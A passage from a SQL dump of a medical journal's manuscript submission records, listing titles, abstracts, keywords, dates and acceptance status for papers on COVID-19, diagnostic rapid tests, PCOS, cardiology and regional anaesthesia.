(within 24 hours) while 90.9% of them seek care in a formal health facility when feeling sick. There was a statistically significant association between appropriate HSB and marital status (p<0.04); education (p<0.002); employment (p<0.002); facility location (p<0.04) and ownership of the facility (p<0.00). With respect to prompt care (when) and source of care when feeling sick, educational qualification, employment status, location, and ownership of the facility were statistically significant (p< 0.05). Educational level (AOR 1.80, CI 1.06-3.05) predicts appropriate HSB. Other predictors of the appropriate HSB were facility location (AOR 1.49, CI 0.15-0.59) and facility ownership (AOR 2.42, CI 1.21-4.84). Prompt care when sick was not predicted by socio-demographics and facility characteristics.\r\nConclusions: The major factors determining the appropriate HSB of enrollees of the ASHIS are socio-demographics -educational and employment status and facility characteristics- location and ownership of the health facility.','ASHIS, Determinants, Enrollees, Health Insurance, Health-Seeking Behaviour, Nigeria',5013,NULL,'2022-06-16',NULL,'Submitted',2,NULL,'2022-12-28',NULL,1,1,'0','Kindly accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12823,13059,45,0,'iphsj-22-12823','Uncovering the Awareness of Coronavirus Disease (COVID-19) in Northern Philippines',NULL,14,2,'','Awareness is essential factor in control and prevention of communicable diseases especially Coronavirus COVID-19 that has affected everyone in the world. This study investigated the level of COVID-19 awareness in Northern Philippines. Cross-sectional study design and descriptive analysis Pearson correlation was used. Likewise, researchers developed a questionnaire that has undergone validity and reliability testing. The majority of those who responded to the questionnaire were highly knowledgeable about COVID-19 in terms of signs and symptoms, mode of transmission, and preventive steps. The key sources of knowledge about COVID-19 were YouTube, television, and WhatsApp. In conclusion, people\'s understanding of COVID-19 is extremely high, and the source of knowledge represents the studied population\'s concern. Adults should continue to campaign for universal health guidelines and provide themselves with factual data obtained from official government agencies with the authority to disseminate such statistics.','COVID-19, Public Awareness, Source of Information, Northern Philippines, Descriptive Design',456,NULL,'2022-06-19',NULL,'Submitted',19,NULL,'2022-06-21',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(12825,13060,277,0,'ipadm-22-12825','Rash, Lymphadenopathy and nephritis: is it always lupus?',NULL,2,0,'','Until the early 2000s IgG4 disease was to be associated with autoimmune pancreatitis and was considered only in Japan. Various syndromes like Mikulicz disease, Ormand disease, Riedel’s thyroiditis, and sclerosing cholangitis were considered separate entities. With the advancement of knowledge, these syndromes were put under one umbrella term, the IgG4-related disease. The IgG4-related disease is an autoimmune disease with fibroinflammatory and tumefactive lesions that virtually involves multiple organ systems. This disease is male predominant and usually present in their 6th decades, here we present you a case of a young female with IgG4-related tubulointerstitial nephritis.','IgG4-RD, Tumefactive Lesion, Tubulointerstitial Nephritis, Fibroinflammatory Disease',5022,NULL,'2022-06-20',NULL,'Submitted',2,NULL,'2022-08-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12826,13061,996,0,'ipar-22-12826','A rare cause of iron deficiency anemia in patient with ankylosing spondylitis',NULL,5,0,'','Metal on metal implants due to the wear-tear phenomenon tend to release the metals causing its toxicity. Most commonly seen with metals like cobalt, chromium, and so on. The metallic deposition in the surrounding soft tissue then enters the systemic circulation causing the effects. Cobalt Metallosis usually has clinical features of cardiomyopathy, polyneuropathy, bilateral optic neuropathy, bilateral sensorineural hearing loss, thyroid disorders, and polycythemia. Here is a case of a young male present with Iron Deficiency Anemia.','Metallosis, Toxicity, Cobalt, Implants',3649,NULL,'2022-06-20',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12827,13054,45,0,'iphsj-22-12827','PREVALENCE OF POLYCYSTIC OVARIAN SYNDROME (PCOS) IN WOMEN OF CHILD BEARING AGE WITHIN PORT HARCOURT METROPOLIS IN NIGERIA USING SONOGRAPHIC EVALUATION','',14,0,'','ABSTRACT \r\nPolycystic ovarian syndrome(PCOS) in women of child-bearing age is one of the most common causes of primary and secondary infertility, and may often be associated with other health or social issues. The prevalence however, varies among age group and geographical area. Ultrasound plays an important role in the initial evaluation and follow-up treatment of patients with PCOS. This study was to evaluate the prevalence of polycystic ovarian syndrome based on the sonographic survey of the ovaries of 200 women of childbearing ages of 13-51 years in Port Harcourt metropolis in Nigeria. This was a retrospective study for a period of twelve months from two hospitals.\r\nResults: A total of 33 women (16.5%) were diagnosed with PCOS. Ages 27-31 years had the highest occurrence of polycystic ovarian syndrome (18 cases, 9%). The most common clinical presentations were primary and secondary infertility (24.2 and 21.2%, respectively). In conclusion, polycystic ovarian syndrome was common among women of child bearing age in Port Harcourt metropolis, with ages 27-31 years having the highest occurrence, and primary infertility being the common clinical presentation. Thus, women of child bearing age presenting with infertility should be examined with ultrasound for early diagnosis and treatment of polycystic ovarian syndrome.\r\n',': Polycystic ovarian syndrome; Sonography, Infertility; PCOS',2801,'','2022-06-14',NULL,'Submitted',2,0,'2022-07-13','',1,1,'1','Accepted',0,'','',0,0,0,0,NULL,0),(12829,13062,86,0,'ipaom-22-12829','A Short Note on stress response genes associated with breast cancer',NULL,5,0,'','Social Anxiety Disorder (SAD) is the fourth most prevalent psychiatric disorder after Major Depressive Disorder, Specific Phobias, and Alcohol Use Disorder. It affects 1.6–12.1% of people globally at some point in their lives. Individuals with this illness have a strong dread of and avoidance of social contacts and circumstances, resulting in considerable impairment in many parts of their lives. Only about 30% of those treated make a complete recovery from SAD symptoms, necessitating the development of new treatments [1]. Although the illness processes in SAD are unknown, anatomical regions involved in \'fear neurocircuitry\' have been linked to the disorder. The thalamocortical, corticocortical, and corticostriatal circuits are the main components of fear neurocircuitry. Glutamate (Glu) neurotransmission is regulated by multiple feedforward, feedback inhibition, and disinhibition mechanisms involving many GABAergic inhibitory neurons.','feedback inhibition, and disinhibition',3868,NULL,'2022-06-23',NULL,'Submitted',2,NULL,'2022-06-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12830,13063,277,0,'ipadm-22-12830','ANTICUERPOS PARA SARS COV 2 EN LACTANTES HIJOS DE MADRES VACUNADAS CONTRA LA COVID19',NULL,19,0,'','Since the beginning of the covid-19 pandemic, there have been multiple unknowns to be solved about this new disease, one of these has been the process to generate a vaccine, obtaining in 2020 the first vaccines, new doubts arise such as what special considerations pregnant women will have regarding vaccination and if there is the possibility of transferring antibodies from the newborn mother through the placenta, The current scientific evidence reflects that there is the possibility of transferring antibodies against covid-19 in infants whose mothers have been previously vaccinated against this disease, based on studies of serum, breast milk and umbilical cord, with positive findings about the presidency of these antibodies and the possibility of their existence in infants born to these mothers.','anticuerpos, Covid-19, Embarazadas, Lactantes, Vacunas.',5022,NULL,'2022-06-23',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12831,13062,86,0,'ipaom-22-12831','A review of the effects of direct cigarette smoke on infection and the treatment of active TB',NULL,5,0,'','Covid-19 is a contagious disease caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) .The diseases has since spread worldwide, leading to an ongoing pandemic. Symptoms of COVID-19 are variable, yet frequently incorporate fever, hack, exhaustion, breathing challenges, and loss of smell and taste. Side effects start one to fourteen days after openness to the infection. Those people who develop noticeable symptoms, most (81%) develop mild to moderate symptoms (up to mild pneumonia), while (14%) develop severe symptoms (dyspnea, hypoxia, or more than 50% lung involvement on imaging), and (5%) suffer critical symptoms (respiratory failure, shock, or multi-organ dysfunction). At any rate 33% individuals who are tainted with the infection stay asymptomatic and don\'t create observable indications anytime, yet they actually can spread the illness. A few people keep on encountering a scope of impacts known as long COVID for quite a long time after recuperation, and harm to organs has been noticed. Studies are underway to further investigate the long-term effects of the disease.','effects of the disease.',410,NULL,'2022-06-24',NULL,'Submitted',2,NULL,'2022-06-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12832,13062,86,0,'ipaom-22-12832','A Short Note on Effects of Tobacco Smoking During Pregnancy',NULL,5,0,'','As per the World Health Organization (WHO), tobacco smoking is a general medical condition with different dangers and ramifications for everybody. Tobacco utilization straightforwardly causes the demise of in excess of 7 million individuals on the planet, and around 1.2 million kicked the bucket because of latent openness to smoke. Furthermore, the WHO gauges that on the off chance that tobacco counteraction and control strategies are not powerful, in 2030 around 10 million individuals will bite the dust each year because of smoking, 70.0% of them in created nations. This is particularly important thinking about those ladies enter their conceptive years during which smoking perniciously affects proliferation, influencing viewpoints from richness and pregnancy results to fetal and kid advancement [1]. As a matter of fact, the gestational period is a basic and delicate period in youngster improvement; be that as it may, around the world, 52.9% of ladies who smoke every day stay with this propensity during pregnancy.','Tobacco; Mouth; Nose; Eyes; disease',3067,NULL,'2022-06-24',NULL,'Submitted',2,NULL,'2022-06-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12833,13064,971,0,'ipaclr-22-12833','Reevaluating the job of internalin B in Listeria monocytogenes harmfulness utilizing the plague strain F2365',NULL,25,0,'','The F2365 strain shows a point transformation that hampers articulation of InlB. We safeguarded the statement of InlB in the L. monocytogenes heredity I strain F2365 by presenting a point transformation in the codon 34 (TAA to CAA). We researched its significance for bacterial harmfulness involving in vitro cell contamination frameworks and a murine intravenous disease model.','internalin B',3249,NULL,'2022-06-24',NULL,'Submitted',4,NULL,'2022-07-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12834,13031,45,0,'iphsj-22-12834','HCV Antibody Rapid Test is Expected to Accelerate the Detection Accuracy of the Hepatitis C Virus',NULL,14,0,'','Background\r\nHepatitis C virus (HCV) infection is mostly asymptomatic in its early stages, but long-term infection can lead to liver fibrosis, cirrhosis, and even liver cancer. Traditional antibody serology test for detecting a HCV infection in the window, real-time fluorescent quantitative PCR operation is relatively complicated. Moreover, clinical laboratory technicians require advanced training and large capital investments are required to procure and operate laboratory equipment. Therefore, it is important to establish a new rapid test method for HCV with high accuracy, sensitivity and specificity for early diagnosis of HCV.\r\n\r\n\r\nPurpose \r\nThis evaluation aimed to evaluate the accuracy and performance of the AllTest HCV Rapid Test Cassette. It is a rapid chromatographic immunoassay for the qualitative detection of antibody to HCV in whole blood, serum or plasma to aid in the diagnosis of HCV infection.\r\n\r\n\r\nMethod\r\nRun a rapid in vitro diagnostic test device for detection of antibody to HCV in whole blood, serum or plasma and compare to a leading commercial ELISA HCV test using clinical specimens for validation of the performance.\r\n \r\nResults\r\nThe assay showed that the relative sensitivity of the HCV Rapid Test Cassette (Whole Blood/Serum/Plasma) is 98.8%, the relative specificity is 99.1%, and the relative accuracy is 99.0%.\r\n\r\n\r\nConclusion\r\nThe AllTest HCV Rapid Test Cassette (Whole Blood/Serum/Plasma) is a rapid chromatographic immunoassay for the qualitative detection of antibody to HCV in whole blood, serum or plasma. The test is accurate with simple operation, low contamination risk, easy visual interpretation and fast results. The HCV Rapid Test Kits manufactured by AllTest are an important diagnostic tool for the early diagnosis of HCV.','',643,NULL,'2022-06-28',NULL,'Submitted',2,NULL,'2022-07-15',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12835,13031,45,0,'iphsj-22-12835','Diagnostic Effectiveness of All Test HBsAg Rapid Test Kit  Compared with ELISA Serology',NULL,15,0,'','Abstract\r\n\r\nBackground\r\nHBsAg Rapid Diagnostic Tests (RDT) have been developed for the detection of hepatitis B surface antigen (HBsAg). They represent a promising alternative to enzyme immunoassays and a powerful tool for large-scale screening and diagnosis of HBV infection, especially in regions without access to serological and molecular testing (3).\r\n\r\nObjective \r\nThis study aimed to evaluate the effectiveness of the AllTest HBsAg Rapid Test Kits for the qualitative detection of Hepatitis B Surface Antigen (HBsAg) in whole blood, serum or plasma to aid in the diagnosis of hepatitis B virus (HBV) infection.\r\n\r\nMethod\r\nA rapid in vitro diagnostic test device for detection of HBsAg in Whole Blood, Serum or Plasma was evaluated and compared with ELISA serology. Sensitivity (Se) and specificity (Sp) were used to estimate test performance. \r\n\r\nResults\r\nThe relative Se and Sp (lower bound of 95% CI) were as follows: >99.9% and 99.6% for serum or plasma specimens; and >99.9% and 99.5% for whole blood specimens.\r\n\r\nConclusion\r\nThe AllTest HBsAg Rapid Test Kit could be considered an ideal method for HBV screening, given the ease of use, fast testing time, and high accuracy. The test utilizes a combination of monoclonal and polyclonal antibodies to selectively detect elevated levels of HBsAg in whole blood, serum or plasma.','HBsAg, Hepatitis B, HBV, Rapid Test, Infectious Disease',4076,NULL,'2022-06-28',NULL,'Submitted',2,NULL,'2022-08-02',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12836,13031,45,0,'iphsj-22-12836','Performance Characteristics of Malaria P.f./P.v./Pan Rapid Test Kits Compared with Traditional Microscopic Analysis Method',NULL,14,0,'','Background\r\nIn the 21st century, malaria continues to be a serious public health threat. This infectious disease has been responsible for millions of deaths globally, especially in tropical regions. It is difficult to distinguish infection with Plasmodium causes clinical presentation from other fever-causing pathogens. Rapid and accurate diagnosis becomes important for effective malaria case management and surveillance.\r\n\r\nAlthough microscopy was once widely used in parasite-based malaria diagnosis, it was apt to face obstacles when using microscopy in peripheral health care settings. The landscape of malaria diagnostic testing has changed since malaria rapid tests were first commercialized in the early 1990s. \r\n\r\nObjective\r\nThe main purpose of this evaluation report was to explore the reliability and performance of the AllTest Malaria Rapid Test Kits for the qualitative detection of circulating antibodies of P. falciparum (P.f.), P. vivax (P.v.), P.ovale (P.o.). and P. malariae (P.m.) in whole blood to aid in the diagnosis of malaria infection.\r\n\r\nMethod\r\nRun a rapid in vitro diagnostic test device for detection of Malaria P.f./P.v./Pan in Whole Blood and compare with traditional thick and thin blood films microscopic analysis for validation of the performance.\r\n\r\nResults\r\nThe results show that the relative sensitivity of the Malaria P.f./P.v./Pan Rapid Test Cassette (Whole Blood) is >98.7% and the relative specificity is >99.0%.\r\n \r\nConclusion\r\nThe Malaria P.f./P.v./Pan Rapid Test Cassette (Whole Blood) is a rapid test to qualitatively detect the presence of P. falciparum - specific HRP-II, P. vivax (P.v.) and four kinds of circulating plasmodium falciparum (P.f.), P. vivax (P.v.), P. ovale (P.o.), and P. malariae (P.m.). \r\n\r\nThe test kit is simple to operate and results are obtained quickly. The use of the test kit will help in the diagnosis of malaria in situations where microscopes are unavailable and professional microscopists are inadequate. Additionally, the test kit has a very high accuracy (99.1%), sensitivity (98.7%), and specificity (99.3%). Patients can obtain accurate test results by using AllTest Malaria P.f./P.v./Pan Rapid Test Cassette.','Malaria, Rapid Test, RDTs, Infectious Disease',643,NULL,'2022-06-28',NULL,'Submitted',2,NULL,'2022-08-17',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12837,13065,326,0,'IPJUS-22-12837','arteriovenous malformation','',23,1,'Advances in surgery','','malformation, Surgery',2505,'','2022-06-29',NULL,'Submitted',15,0,'2022-07-01','',1,1,'0','',0,'','',0,0,0,0,NULL,0),(12838,13055,975,0,'ipjbs-22-12838','Strengthening Community Clinics of Bangladesh through Telemedicine & Interconnected Medical Facilities.',NULL,14,0,'','Our main aims to strengthen community clinics and improve healthcare services in rural areas of Bangladesh. Within a 20 to 30-minute walk, a person will receive primary health care, and no one will be deprived of access to services and this was the clinic\'s primary purpose [1]. The community clinic has gained a reputation as a model, but its purpose has not been fully satisfied. Various domestic and foreign studies have identified the successes and limitations of community clinics. Efforts are being made to remove the limitations gradually.\r\nWe proposed a model of community clinics for improving the health care system of these clinics. This model can provide a concept for establishing community clinics under an integrated Upazila health system and District health system besides ensuring quality primary health care to the rural population of Bangladesh, especially the poor, marginalized, and destitute people. Demonstrating an effective linkage of community clinics with healthcare structures at Union, Upazila, and District levels in need of exceptional health problem management.','E-Service, Telemedicine, ECG, Ultrasound, Basic Analyzer, Community Clinics.',4089,NULL,'2022-07-01',NULL,'Submitted',2,NULL,'2022-08-02',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12840,13067,45,0,'iphsj-22-12840','COVID-19 – Management and efficacy of Respiratory Intensive Care Unit during outbreak in Naples – Italy.',NULL,14,0,'','Sars Cov 2 disease 2019 (COVID-19) outbreak was declared on March 11, 2020, by World Health Organization a global pandemic. COVID-19 affected more than 5million people worldwide. The respiratory spectrum of this disease ranges from a common mild to severe pneumonia defined according to American Thoracic Society criteria in a not negligible 15% of patients. \r\nAll around the world was observed a rapid increase in the incidence of COVID-19 pneumonia with a consequent saturation of the capacity of the intensive care unit (ICUs).\r\nDue to the impressive outbreak, the ICU beds and invasive mechanical ventilators achieved their limits of occupation. Non-invasive supportive care became a valuable option for maintaining respiratory conditions. Therefore, proper healthcare resource management was necessary to warrant adequate patient care.\r\nDue to a led to a shortage of ICU capacity, Respiratory Intensive Care Units (RICUs) have become a useful resource for the management of complex patients. This highlighted the role RICUs, where patients affected by moderate to severe respiratory failure can be treated with non-invasive respiratory support, avoiding ICU admission.\r\nIn this report, we describe clinical outcomes and baseline characteristics of patients admitted to the RIMCU of Cotugno Hospital, a tertiary referral center in Naples (Italy), from January 2021 to October 2021.\r\nWe compared outcomes of our patients, characterized by several risk factors for disease progression, with experiences regarding patients treated with invasive respiratory support in ICU','COVID-19; Non-Invasive Ventilation; Pneumonia; RICU; AHRF',5388,NULL,'2022-07-04',NULL,'Submitted',2,NULL,'2022-08-03',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12841,13068,667,0,'iptb-22-12841','Induced Pluripotent Stem Cells: Humans By Translation Process',NULL,5,2,'','The future of biomedical research has undergone a significant change as a result of the possibility of altering the flexibility of terminally differentiated cells toward c. Human-induced pluripotent stem cells (iPSCs) offer a fresh source of therapeutic cells free of the moral quandaries or immunological restrictions associated with human embryonic stem cells. iPSCs also provide significant benefits over traditional approaches of studying human diseases. Three key uses of iPSC technology have emerged since its inception: disease modelling, regenerative medicine, and drug development. Here, we go over the most current developments in iPSC technology in connection to basic, clinical, and community health in great detail. Regenerative medicine has come a long way since the initial discovery that bone marrow cells have the ability to regenerate themselves through clonal proliferation, which established the field.','pluripotent, immunological, embryonic stem cells',3933,NULL,'2022-07-04',NULL,'Submitted',19,NULL,'2022-08-11',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(12842,13069,73,0,'ipjnn-22-12842','Neurological Effects during Long COVID-19',NULL,5,0,'','','hyposmia',326,NULL,'2022-07-05',NULL,'Submitted',2,NULL,'2022-07-07',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12843,13062,86,0,'ipaom-22-12843','A short Diastolic Dysfunction in Hypertension Treatment',NULL,5,0,'','Changes in LV diastolic filling characterise Left Ventricular (LV) Diastolic Dysfunction (LVDD), which is a powerful predictor of cardiovascular events and heart failure. Hypertension is the most common cause of LVDD in the general population, and it promotes it through a variety of mechanisms, including hemodynamic overload and myocardial ischemia. Age, ethnicity, dietary sodium, obesity, diabetes mellitus, and chronic renal disease are all factors that contribute to LVDD in hypertensive people. LVDD can be improved by lowering blood pressure with antihypertensive drugs; however, it is uncertain if this improvement in LV diastolic function can improve cardio vasculature. Changes in LV diastolic filling characterise Left Ventricular (LV) Diastolic Dysfunction (LVDD), which is a powerful predictor of cardiovascular events and heart failure. Hypertension is the most common cause of LVDD in the general population, and it promotes it through a variety of mechanisms, including hemodynamic excess and myocardial infarction (Age, ethnicity, dietary sodium, obesity, diabetes mellitus, and chronic renal disease are all factors that contribute to LVDD in hypertension people. LVDD can be improved by lowering blood pressure with antihypertensive drugs; however, it is uncertain if this improvement in LV diastolic function can improve cardio vasculature. One of the early cardiac symptoms of systemic hypertension is abnormalities in left ventricular (LV) diastolic function in the presence of normal LV systolic performance.','LV systolic performance.',410,NULL,'2022-07-05',NULL,'Submitted',2,NULL,'2022-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12844,13062,86,0,'ipaom-22-12844','A Review of the Literature on Coronary Micro Vascular Dysfunction',NULL,5,0,'','Patients with Coronary Micro vascular Dysfunction (CMVD) are a common occurrence, and despite the fair prognosis, many of them have a poor quality of life due to angina symptoms that limit their daily activities. The most common clinical presentation pictures, such as stable and unstable micro vascular angina, are summarized in this article. The main risk factors are discussed, followed by the most recent information on the topic, including pathogenic hypotheses, diagnostics, and treatment options. Micro vascular abnormalities that aren’t fully understood, such as slow flow and no reflow are explored, as well as prognosis and the disease’s influence on quality of life. Angina without Coronary Artery Disease (CAD) is associated with significant morbidity and is found in 10% to 30% of individuals who undergo angiography. In 50 percent to 65 percent of these patients, Coronary Micro vascular Dysfunction (CMD) is evident. The best treatment for this group is unknown.','Patients with Coronary Micro vascular Dysfunction',410,NULL,'2022-07-05',NULL,'Submitted',2,NULL,'2022-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12845,13062,86,0,'ipaom-22-12845','Factors that affect left ventricular mechanical dispersion in aortic stenosis and their implications for prognosis',NULL,5,0,'','Calcific aortic stenosis (AS) is one of the most prevalent valvular heart diseases in the Western world.The increased afterload imposed by the narrow aortic valve area on the left ventricle induces a remodelling process, which is initially characterized by adaptive left ventricular (LV) hypertrophy. Long-standing AS further induces myocardial fibrosis, heart failure, and poor outcome. Therefore, alongside presence of symptoms and severity of AS, timely assessment of LV systolic dysfunction plays a pivotal role in the decision for referral to aortic valve replacement (AVR).','sence of symptoms a',2890,NULL,'2022-07-05',NULL,'Submitted',2,NULL,'2022-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12848,13072,45,0,'iphsj-22-12848','LESSON LEARNT BY COVID-19: GOING FROM PANDEMIC TO ENDEMIC COVID-19, SHOULD WE WORK FOR DIAGNOSTIC CRITERIA TO PERFORM A RIGHT DIAGNOSIS OF COVID-19 IN THE FUTURE?',NULL,14,0,' ','The pandemic is still ongoing but with different ways if compared with first waves of COVID-19. Clinical improvements, advanced therapeutics, vaccination campaign and less virulent viral variants changed the clinical scenario. So in these last months we are observing a cohort of patients admitted in Hospital with acute illness different from fever and lung failure but that show naso pharyngeal swab positive to SARS CoV2 variant OMICRON and on the other hand other cohort of patients with asymptomatic interstitial pneumonia because a recent asymtpomatic COVID-19 that should perform a thorough differential diagnosis with other causes of interstitial pneumonia. These clinical findings changed the clinical scenario and updated triage strategy are needed. Patients with lung failure could be always easily identified because associated to typical signs and symptoms have anamnestic relevant data (e.g. immunocompromised patients or antivax people or non-responders to vaccines); yet also patients without recent clinical findings of lung failure may be found with interstitial pneumonia that should be investigated with a torough differential diagnosis including also the research of SARS CoV2 on nasopharyngeal swab or bronchoalveolar lavage. So, based on knowledge gained in these months of pandemic a strategy to perform diagnosis of COVID-19 also in absence of classic signs and symptoms should be performed taken into account utility of anamnesis, laboratory and microbiological tests and radiological findings. Should we think to adopt diagnostic criteria to perform it in next future?','differential diagnosis; interstitial pneumonia; SARS CoV2; lung failure; COVID-19; COVID-like syndrome',5388,NULL,'2022-07-08',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12850,13073,45,0,'iphsj-22-12850','Intimate partners’ Violence and Birth Spacing in Nigeria, Implication for High Fertility. Evidence from 2018 NDHS',NULL,14,0,'','Past researches that focused on intimate partners’ violence have indicated that the practice is on the increase and which was revealed to be associated with victims’ reproductive and health lives. In Nigeria, the increase in the violence is being influenced by several factors and has adverse effect on birth spacing which has not been well researched. \r\nConsequently, this study was done using the Nigeria Demographic and Health Survey (2018) to investigate the influence of socio-demographic factors and intimate partners’ violence on birth spacing in Nigeria at univariate, bivariate and multivariate level (binary logistic regression). The study revealed that 48.2% of women practiced a minimum of two years’ birth spacing and that intimate partners’ violence significantly influenced child spacing in Nigeria after controlling for confounding variables. The current age of mothers, region and wealth index significantly associated with birth spacing in Nigeria at p-value < 0.05. The study therefore recommends that policy and programs should address the significant factors that influence birth spacing in order to achieve the aim of reducing fertility and improved maternal health in Nigeria.','Child Spacing, Violence, Intimate partners Nigeria.',3202,NULL,'2022-07-09',NULL,'Submitted',2,NULL,'2022-09-20',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12851,13075,277,0,'ipadm-22-12851','BLOQUEO DEL CANAL DE LOS ADUCTORES POR VIA SUPRAPATELAR ECOGUIADO, CONTROL DE DOLOR Y EVALUACIÓN DE LA FUERZA MUSCULAR EN PACIENTES SOMETIDOS A CIRUGIA DE RODILLA EN UNA INSTITUCION DE LA CIUDAD DE SINCELEJO EN EL PRIMER SEMESTRE DE 2022',NULL,8,0,'BLOQUEO DEL CANAL DE LOS ADUCTORES POR VIA SUPRAPATELAR ECOGUIADO, CONTROL DE DOLOR Y EVALUACIÓN DE LA FUERZA MUSCULAR EN PACIENTES SOMETIDOS A CIRUGIA DE RODILLA EN UNA INSTITUCION DE LA CIUDAD DE SINCELEJO EN EL PRIME','Introducción: Existe mal control de dolor postquirúrgico en cirugía de rodilla artroscópica. El Bloqueo del canal de los aductores (BCA) es una efectiva opción para su manejo.\r\nObjetivos: Evaluar el BCA por vía suprapatelar ecoguiado, control de dolor y evaluación de la fuerza muscular en pacientes sometidos a cirugía de rodilla en una institución de la ciudad de Sincelejo en el primer semestre de 2022.\r\nMétodos: Estudio de corte transversal, en pacientes con cirugía de rodilla tratados con BCA suprapatelar, guiado por ecografía, con edad> 18 años. El análisis fue realizado con el software estadístico Epi Info v7. En frecuencia absoluta y porcentajes se expresaron las variables cualitativas; y las cuantitativas en mediana y rango intercuartílico. Se calculó prevalencia de EVA de dolor a las 2, 6 y 24 horas posquirúrgicas; la fuerza muscular postquirúrgico según la escala de Daniels, movilización de la extremidad y caídas postquirúrgicas. \r\nResultados: Fueron incluidos 61 pacientes. Mediana de edad: 49 (38-59) años. El procedimiento más realizado fue artroscopia de rodilla (73.8%). Se reportaron puntuaciones de dolor de cero a las 2, 6 y 24 horas postquirúrgicas, la mediana de fuerza muscular fue 5 (RIQ 4-5). Un 10% de los participantes no movilizó la extremidad a las 2 horas posoperatorias. No hubo caídas. \r\nConclusiones: En un grupo de pacientes con cirugía de rodilla tratados con BCA suprapatelar guiado por ecografía, predominaron bajas puntuaciones de dolor dentro de las primeras 24 horas postquirúrgicas, fuerza muscular conservada, movilización de la extremidad a las dos horas postoperatoria, sin caídas. \r\n','Palabras clave: (fuente DeCS-BIREME): Artroscopia, rodilla, bloqueo nervioso, nervios periféricos',5393,NULL,'2022-07-10',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12852,13076,975,0,'ipjbs-22-12852','Rapid Community Death Assessment for COVID-19 Positive Deaths, Addis Ababa City Administration August 2020; Community Based Study',NULL,13,2,'For Excess Community Death Assessment','Background: Coronavirus disease (COVID-19) caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) is a global pandemic that initially started in Wuhan, China, and spread extremely quickly, making its way to over 180 countries. As community transmission is sustained in country COVI9 19 death before admission to the treatment center is inevitable. So, the aim of this rapid assessment was to assess a sample of community deaths in order to describe the epidemiological, clinical as well as perceived circumstance at the time of death. Method: descriptive study design was conducted to conduct rapid death investigation in Addis Ababa, August 15-22, 2020. The source of data tracking and identification was from EPHI EOC laboratory data. Team from Ethiopian public health institute, CDC Ethiopia and clinical advisor of MOH of Ethiopia was jointly conduct the investigation. Data was entered and analysis through using MS excel. The result was presented through using proportion, charts, table and graphs. Result: from the total 63 death investigated Yeka and Addis ketema Addis Ababa sub cities 17 and 13, 27% and 21% respectively. 57% were males and the mean age was 69 years for this community COVID 19 positive death investigation. According to the investigation report 48 (76%) of them were symptomatic. 13 (27%) had Cough, 16 (33%) had Shortness of breath and 26(54%) had fatigue. 35 (56%) of them had history of health facility and 41 (65%) of them had underlying medical conditions. From total death reported 30(48%) were expected death according to the intimate of deceased response. Conclusion: Novel corona virus’s community death is high in Addis Ababa region. Those individual who acquire the COVID 19 disease had symptoms (fatigue, cough and shortness of breath) and males, older age groups and populations having comorbidities were highly risk for COVID 19 death. Some unnatural death report as novel corona virus death which did not be in lined with our national COVID 19 death definition.','Rapid Community Death, COVID 19, Addis Ababa, August 2020',4873,NULL,'2022-07-11',NULL,'Submitted',2,NULL,'2022-11-14',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12853,13077,277,0,'ipadm-22-12853','EFECTIVIDAD ANALGÉSICA DEL BLOQUEO DEL PLANO TRANSVERSO DEL ABDOMEN GUIADO POR ECOGRAFÍA PARA EL MANEJO DEL DOLOR POSTOPERATORIO EN PACIENTES SOMETIDAS A CESÁREA BAJO ANESTESIA RAQUÍDEA CON MORFINA INTRATECAL COMO COADYUVANTE, UN ESTUDIO DE COHORTE',NULL,8,0,'','RESUMEN\r\nIntroducción:\r\nLa cesárea es el procedimiento quirúrgico más realizado a nivel mundial, En Colombia hubo un ligero incremento durante el año 2021 un 46,3% de todos los partos en el territorio nacional ocurrieron mediante cesárea.  El manejo efectivo del dolor conlleva a una recuperación mejorada, disminuyendo la morbilidad, la estancia intrahospitalaria y por ende reduce costos para el sistema de salud.\r\nEntre las modalidades analgésicas se encuentra el uso de morfina intratecal como coadyuvante y el bloqueo del plano transverso del abdomen, actualmente son pocos los estudios que compara la efectividad de la combinación de estas dos técnicas analgésicas.\r\n\r\nObjetivos:\r\nDeterminar la efectividad analgésica de acuerdo con la escala análoga del dolor utilizando el bloqueo del plano transverso del abdomen guiado por ecografía para el manejo del dolor postoperatorio en pacientes sometidas cesárea bajo anestesia raquídea con morfina intratecal como coadyuvante.\r\nMétodos:\r\nSe realizó un estudio de cohorte observacional, dónde se seleccionaron a 41 pacientes sometidas a cesárea bajo anestesia raquídea, donde 20 pacientes recibieron morfina intratecal como coadyuvante analgésico y a 21 pacientes a quienes adicionalmente se les realizó bloqueo del plano transverso del abdomen guiado por ecografía para el manejo del 